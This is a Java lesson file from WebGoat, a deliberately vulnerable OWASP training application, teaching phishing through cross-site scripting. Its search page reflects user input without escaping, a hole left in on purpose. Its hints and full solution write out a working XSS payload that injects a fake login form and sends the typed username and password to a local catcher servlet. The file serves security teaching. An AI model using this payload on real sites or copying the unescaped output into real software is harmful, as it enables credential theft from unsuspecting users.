package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.B;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Comment;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.Catcher;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created March 13, 2007
*/
public class Phishing extends LessonAdapter
{
/**
* Description of the Field
*/
protected final static String SEARCH = "Username";
private String searchText;
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private boolean postedCredentials(WebSession s)
{
String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY,
Catcher.EMPTY_STRING);
// <START_OMIT_SOURCE>
return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING));
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
searchText = s.getParser().getRawParameter(SEARCH, "");
// <START_OMIT_SOURCE>
// <END_OMIT_SOURCE>
ec.addElement(makeSearch(s));
if (postedCredentials(s))
{
makeSuccess(s);
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
return (ec);
}
protected Element makeSearch(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("WebGoat Search "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement(" ").setColSpan(2));
t.addElement(tr);
if (s.isColor())
{
t.setBorder(1);
}
tr = new TR();
tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2)
.setAlign("center"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(" ").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right"));
Input input1 = new Input(Input.TEXT, SEARCH, searchText);
row1.addElement(new TD(input1).setAlign("left"));
t.addElement(row1);
Element b = ECSFactory.makeButton("Search");
t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center"));
ec.addElement(t);
if (!searchText.equals(""))
{
ec.addElement(new BR());
ec.addElement(new HR());
ec.addElement(new BR());
ec.addElement(new StringElement("Results for: " + searchText));
ec.addElement(new Comment("Search results"));
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new B(new StringElement("No results were found.")));
ec.addElement(new Comment("End of Search results"));
}
return (ec);
}
/**
* Gets the hints attribute of the CluesScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Try adding HTML to the search field to create a fake authentication form.<BR>"
+ "Try to make the form look official.");
hints
.add("Try: <BR> "
+ "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2"
+ "><br><br>Enter Username:<br><input type="text" "
+ "name="user"><br>Enter Password:<br><input type="password" "
+ "name = "pass"><br></form><br><br><HR>");
hints
.add("Add functionality that can post a request, a button might work<BR><BR>"
+ "After getting the button on the page, don't forget you will need to steal the credentials and post them to: <BR>"
+ "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE");
hints
.add("Try: <BR> "
+ "<input type="submit" name="login" "
+ "value="login">"
+ "<BR><BR>In the whole script:<BR><BR>"
+ "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2"
+ "><br><br>Enter Username:<br><input type="text" "
+ "name="user"><br>Enter Password:<br><input type="password" "
+ "name = "pass"><br><input type="submit" name="login" "
+ "value="login" onclick="hack()"></form><br><br><HR>");
hints
.add("Make the button perform an action on submit, <BR>"
+ "adding an onclick=\"hack()\" might work<BR>"
+ "Don't forget to add the hack() javascript function"
+ "<BR><BR>In the whole script:<BR><BR>"
+ "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2"
+ "><br><br>Enter Username:<br><input type="text" "
+ "name="user"><br>Enter Password:<br><input type="password" "
+ "name = "pass"><br><input type="submit" name="login" "
+ "value="login" onclick="hack()"></form><br><br><HR><BR>"
+ "Also, check firebug. Does the search form need to be terminated for this to work...? (</form>)");
hints
.add("You need to create the hack() function. This function will pull the credentials from the "
+ "webpage and post them to the WebGoat catcher servlet. <BR>"
+ "<BR> Some useful code snippets:<UL>"
+ "<LI>doucument.phish.user.value - will access the user field"
+ "<LI>XssImage = new Image(); XssImage.src=SOME_URL = will perform a post"
+ "<LI>javascript string concatentation uses a \"+\" </UL>"
+ "<BR><BR>The entire javascript portion:<BR><BR>"
+ "<script>function hack(){ "
+ "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+"
+ "document.phish.user.value + "&password=" + document.phish.pass.value + "";"
+ "alert("Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} "
+ "</script>");
hints
.add("Complete solution for this lesson:<BR><BR>"
+ "</form><script>function hack(){ "
+ "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+"
+ "document.phish.user.value + "&password=" + document.phish.pass.value + "";"
+ "alert("Had this been a real attack... Your credentials were just stolen."
+ "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} "
+ "</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H2"
+ "><br><br>Enter Username:<br><input type="text" "
+ "name="user"><br>Enter Password:<br><input type="password" "
+ "name = "pass"><br><input type="submit" name="login" "
+ "value="login" onclick="hack()"></form><br><br><HR>");
/**
* password<script>function hack(){ alert("Had this been a real attack... Your credentials
* were just stolen.\nUser Name = " + document.phish.user.value + "\nPassword = " +
* document.phish.pass.value); XSSImage=new Image;
* XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="
* +document.phish.user.value + "&password=" + document.phish.pass.value +
* "";}</script><form name="phish"><br>
* <br>
* <HR>
* <H3>This feature requires account login:</H2> <br>
* <br>
* Enter Username:<br>
* <input type="text" name="user"><br>
* Enter Password:<br>
* <input type="password" name = "pass"><br>
* <input type="submit" name="login" value="login" onclick="hack()"></form><br>
* <br>
* <HR>
* <!--
*
*/
return hints;
}
/**
* Gets the instructions attribute of the XssSearch object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "This lesson is an example of how a website might support a phishing attack<BR><BR>"
+ "Below is an example of a standard search feature.<br>"
+ "Using XSS and HTML insertion, your goal is to: <UL>"
+ "<LI>Insert html to that requests credentials"
+ "<LI>Add javascript to actually collect the credentials"
+ "<LI>Post the credentials to http://localhost/webgoat/catcher?PROPERTY=yes...</UL> "
+ "To pass this lesson, the credentials must be posted to the catcher servlet.<BR>";
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the title attribute of the CluesScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Phishing with XSS");
}
}